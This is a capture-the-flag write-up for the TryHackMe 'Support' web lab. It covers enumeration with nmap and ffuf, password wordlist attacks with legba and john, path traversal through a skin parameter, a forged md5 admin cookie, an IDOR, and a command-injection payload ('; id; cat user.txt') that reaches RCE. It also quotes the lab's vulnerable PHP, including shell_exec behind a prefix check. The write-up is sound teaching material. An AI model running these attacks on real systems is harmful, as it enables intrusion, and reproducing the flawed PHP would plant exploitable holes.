Information
Room#
- Name: Support
- Profile: tryhackme.com
- Difficulty: Medium
- Description: Pentest the Support Ops platform to exploit vulnerabilities and achieve RCE.

Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
sudo pacman -S nmap ffuf legba curl johnNetwork discovery#
Let's perform a network scan on the target.
# Nmap 7.99 scan initiated Thu Jun 11 01:39:58 2026 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap_10.129.173.118 10.129.173.118
Nmap scan report for 10.129.173.118
Host is up, received echo-reply ttl 62 (0.080s latency).
Not shown: 63598 closed tcp ports (reset), 1935 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8e:a3:75:56:d3:96:ca:64:e7:1b:e6:ae:15:d3:e5:35 (ECDSA)
|_ 256 de:f6:d8:7f:a8:3c:2e:27:f9:43:b1:77:bc:59:26:34 (ED25519)
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Support Operations Panel
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 11 01:40:37 2026 -- 1 IP address (1 host up) scanned in 39.62 secondsNothing outside the web app and a ssh server.
Web enumeration#
➜ ffuf -u http://10.129.173.118/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[…]
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.173.118/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
js [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 849ms]
skins [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 47ms]
layout [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 47ms]
includes [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 2856ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 75ms]
:: Progress: [26583/26583] :: Job [1/1] :: 621 req/sec :: Duration: [0:00:46] :: Errors: 1 ::Directory listing is enabled on those folders. This may be interesting later (easily discovering the files available).
➜ ffuf -u http://10.129.173.118/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
[…]
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.173.118/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
index.php [Status: 200, Size: 2591, Words: 866, Lines: 93, Duration: 56ms]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 67ms]
footer.php [Status: 200, Size: 1253, Words: 377, Lines: 39, Duration: 51ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 46ms]
.htaccess [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 56ms]
api.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 52ms]
info.php [Status: 200, Size: 73369, Words: 3585, Lines: 821, Duration: 60ms]
. [Status: 200, Size: 2591, Words: 866, Lines: 93, Duration: 45ms]
.html [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 48ms]
.php [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 41ms]
dashboard.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 76ms]
.htpasswd [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 179ms]
.htm [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 55ms]
.htpasswds [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 72ms]
.htgroup [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 65ms]
wp-forum.phps [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 59ms]
.htaccess.bak [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 49ms]
.htuser [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 64ms]
.htc [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 66ms]
.ht [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 66ms]
:: Progress: [16244/16244] :: Job [1/1] :: 598 req/sec :: Duration: [0:00:29] :: Errors: 0 ::We can access a phpinfo() at /info.php. No interesting secrets to find here.
Quick SQLi tests on the login form is not giving any result.
Vhost enumeration not giving anything either.
➜ ffuf -u http://10.129.173.118/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -H 'Host: FUZZ.support.thm' -fs 2591
➜ ffuf -u http://10.129.173.118/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -H 'Host: FUZZ.support.thm' -fs 2591http://10.129.173.118/footer.php is interesting, there is a menu to select a skin, that matches the files we observed in the skins/ folder. There is a serious potential of local file disclosure here (LFD).
<ul class="dropdown-menu dropdown-menu-end">
<li><a class="dropdown-item" href="?skin=default">Default</a></li>
<li><a class="dropdown-item text-danger" href="?skin=red">Red</a></li>
<li><a class="dropdown-item text-success" href="?skin=green">Green</a></li>
<li><a class="dropdown-item text-primary" href="?skin=blue">Blue</a></li>
</ul>However, calling ?skin=red on the footer page or the homepage changes nothing. But this may be usefull later when we'll have access to the dashboard.
Authentication wordlist attack#
Anything juicy is authenticated, so let's attack the password of the help@support.thm account.
$ legba http \
-U 'help@support.thm' \
-P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
-T http://10.129.173.118/ \
--http-method POST \
--http-success '!contains(body, "Invalid credentials")' \
--http-payload 'email={USERNAME}&password={PASSWORD}' \
--single-match \
-Q
[…]
[INFO ] [2026-06-11 02:33:20] (http) <http://10.129.173.118/> username=help@support.thm password=REDACTED
[…]Local file disclosure (LFD)#
We already identified the LFD earlier in the footer, now that we are authenticated is the time to exploit it.
/dashboard.php?skin=../config
<?php
$MASTER_PASSWORD = 'REDACTED';
$SITE_VER = '1.0';
$SITE_NAME = 'support_portal';/dashboard.php?skin=../index
<?php
session_start();
include('/var/www/db.php');
$error = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$email = $_POST['email'] ?? '';
$password = $_POST['password'] ?? '';
foreach ($users as $id => $user) {
if ($user['email'] === $email && $user['password'] === $password) {
$_SESSION['loggedin'] = true;
$_SESSION['user_id'] = $id;
$_SESSION['admin'] = $user['admin'];
setcookie(
'isITUser',
$user['admin'] ? md5("true") : md5("false"),
time() + 3600,
'/'
);
header('Location: dashboard.php');
exit;
}
}
$error = 'Invalid credentials';
}
?>/dashboard.php?skin=../dashboard
<?php
session_start();
if (!isset($_SESSION['loggedin'])) {
header('Location: index.php');
exit;
}
$isIT = $_COOKIE['isITUser'] ?? md5("false");
$skin = $_GET['skin'] ?? 'default';
?>
[…]
<?php
$webRoot = realpath('/var/www/html/skins');
$another = realpath('/var/www/html');
$requested = realpath($webRoot . '/' . $skin . '.php');
if ($requested !== false && strpos($requested, $another) === 0) {
readfile($requested);
}
?>
[…]
<?php if ($isIT === md5('true')): ?>
<div class="card mt-4 border-success">
<div class="card-body">
<h5 class="text-success">IT Admin Panel</h5>
<a href="api.php" class="btn btn-success">View API</a>
</div>
</div>
<?php endif; ?>
<?php if (isset($_SESSION['admin']) && $_SESSION['admin'] === true): ?>
<div class="card mt-4 border-warning shadow-lg">
<div class="card-header bg-warning text-dark fw-bold">
🎯 Administrator Access Confirmed
</div>
<div class="card-body text-center">
<p class="lead mb-2">
You have successfully authenticated as an administrator.
</p>
<div class="alert alert-dark fw-bold fs-5">
<?= htmlspecialchars(trim(file_get_contents('/var/www/web.txt'))) ?>
</div>
</div>
</div>
<?php endif; ?>
</div>
<?php include('footer.php'); ?>So it's clear we'll have access to an API if we are from the IT department. For that, we only need to set the value to md5("true") in the isITUser cookie.
➜ printf %s true | md5sum
b326b5062b2f0e69046810717534cb09 -IDOR#
Let's take a look at the API code:
/dashboard.php?skin=../api
<?php
session_start();
if (!isset($_SESSION['loggedin'])) {
header('Location: index.php');
exit;
}
if (($_COOKIE['isITUser'] ?? md5('false')) !== md5('true')) {
die('Access denied');
}
include('/var/www/db.php');
$id = $_GET['id'] ?? $_SESSION['user_id'];
$user = $users[$id] ?? null;
if (preg_match('#^/user/#', $_SERVER['REQUEST_URI'])) {
header('Content-Type: application/json');
unset($user['password']);
echo json_encode($user, JSON_PRETTY_PRINT);
exit;
}
?>
[…]
<h3>Internal User API</h3>
<div class="alert alert-info">
As a helpdesk user, you can query your own profile:
<code>/user/<?= $_SESSION['user_id'] ?></code>
</div>
<div class="card mt-3">
<div class="card-header bg-secondary text-white">API Request</div>
<div class="card-body">
<pre>GET /user/<?= htmlspecialchars($id) ?></pre>
</div>
</div>
<div class="card mt-3">
<div class="card-header bg-dark text-white">API Response</div>
<div class="card-body">
<?php
unset($user['password']);
?>
<pre><?= json_encode($user, JSON_PRETTY_PRINT); ?></pre>
</div>
</div>
</div>
<?php include('footer.php'); ?>We can query ourself, and confirm we are not admin (yet).
{
"email": "help@support.thm",
"2FA": false,
"admin": false
}However, user n°1 is.
{
"email": "specialadmin@support.thm",
"2FA": false,
"admin": true
}Authentication wordlist attack (again)#
Let's try to authenticate as specialadmin@support.thm by attacking its password with a wordlist of common passwords.
➜ legba http \
-U 'specialadmin@support.thm' \
-P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
-T http://10.129.173.118/ \
--http-method POST \
--http-success '!contains(body, "Invalid credentials")' \
--http-payload 'email={USERNAME}&password={PASSWORD}' \
--single-match \
-QHowever, this time it's not working.
Credential stuffing#
Let's try to re-use the password in MASTER_PASSWORD from config.php.
However, it's not working.
Generating wordlist with mangling / mutation rules#
Let's try to generate a list of similar passwords from the one we found. We can do this with john.
john --wordlist=MASTER_PASSWORD.txt --stdout --rules:rockyou-30000 > rockyou-30000.txtLet's re-launch the wordlist attack with our custom list.
➜ legba http \
-U 'specialadmin@support.thm' \
-P rockyou-30000.txt \
-T http://10.129.173.118/ \
--http-method POST \
--http-success '!contains(body, "Invalid credentials")' \
--http-payload 'email={USERNAME}&password={PASSWORD}' \
--single-match \
-Q
[…]
[INFO ] [2026-06-11 03:17:24] (http) <http://10.129.173.118/> username=specialadmin@support.thm password=REDACTED
[…]Once authenticated with the account, we have the admin flag.
RCE#
We can't read the /home/ubuntu/user.txt flag with the LFD because of the .php suffix (and we're running PHP 8, not 5, so no null byte cropping).
Once logged in as admin, we have a new feature to display the date or the time in the footer.
/dashboard.php?skin=../footer
<?php
$isAdmin = $_SESSION['admin'];
$output = '';
$error = '';
$selectedSys = 'date';
if ($isAdmin && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['sys'])) {
$selectedSys = $_POST['sys'];
$sys = $_POST['sys'];
if (strpos($sys, 'date') === 0) {
$output = shell_exec($sys);
} else {
$error = 'Only date command is allowed.';
}
}
?>
<footer class="mt-5 py-4 bg-light border-top">
[…]
<?php if ($isAdmin): ?>
<form method="POST" id="sysForm">
<select name="sys"
class="form-select"
onchange="document.getElementById('sysForm').submit();">
<option value="date"
<?= $selectedSys === 'date' ? 'selected' : '' ?>>
Date
</option>
<option value='date +"%H:%M:%S"'
<?= $selectedSys === 'date +"%H:%M:%S"' ? 'selected' : '' ?>>
Time
</option>
</select>
</form>
<?php endif; ?>
</div>
</div>
<div class="container mt-3">
<?php if ($error): ?>
<div class="alert alert-danger">
<?= htmlspecialchars($error); ?>
</div>
<?php endif; ?>
<?php if ($output): ?>
<div class="alert alert-dark">
<pre class="mb-0"><?= htmlspecialchars($output); ?></pre>
</div>
<?php endif; ?>
</div>
</footer>The request to change from one to another looks like this:
POST /dashboard.php HTTP/1.1
Host: 10.129.173.118
[…]
Content-Type: application/x-www-form-urlencoded
[…]
sys=dateLet's perform basic command injection and use the following payload instead.
sys=date+%2B%22%25H%3A%25M%3A%25S%22; id; cat /home/ubuntu/user.txtThe footer now displays:
01:33:39
uid=33(www-data) gid=33(www-data) groups=33(www-data)
THM{REDACTED}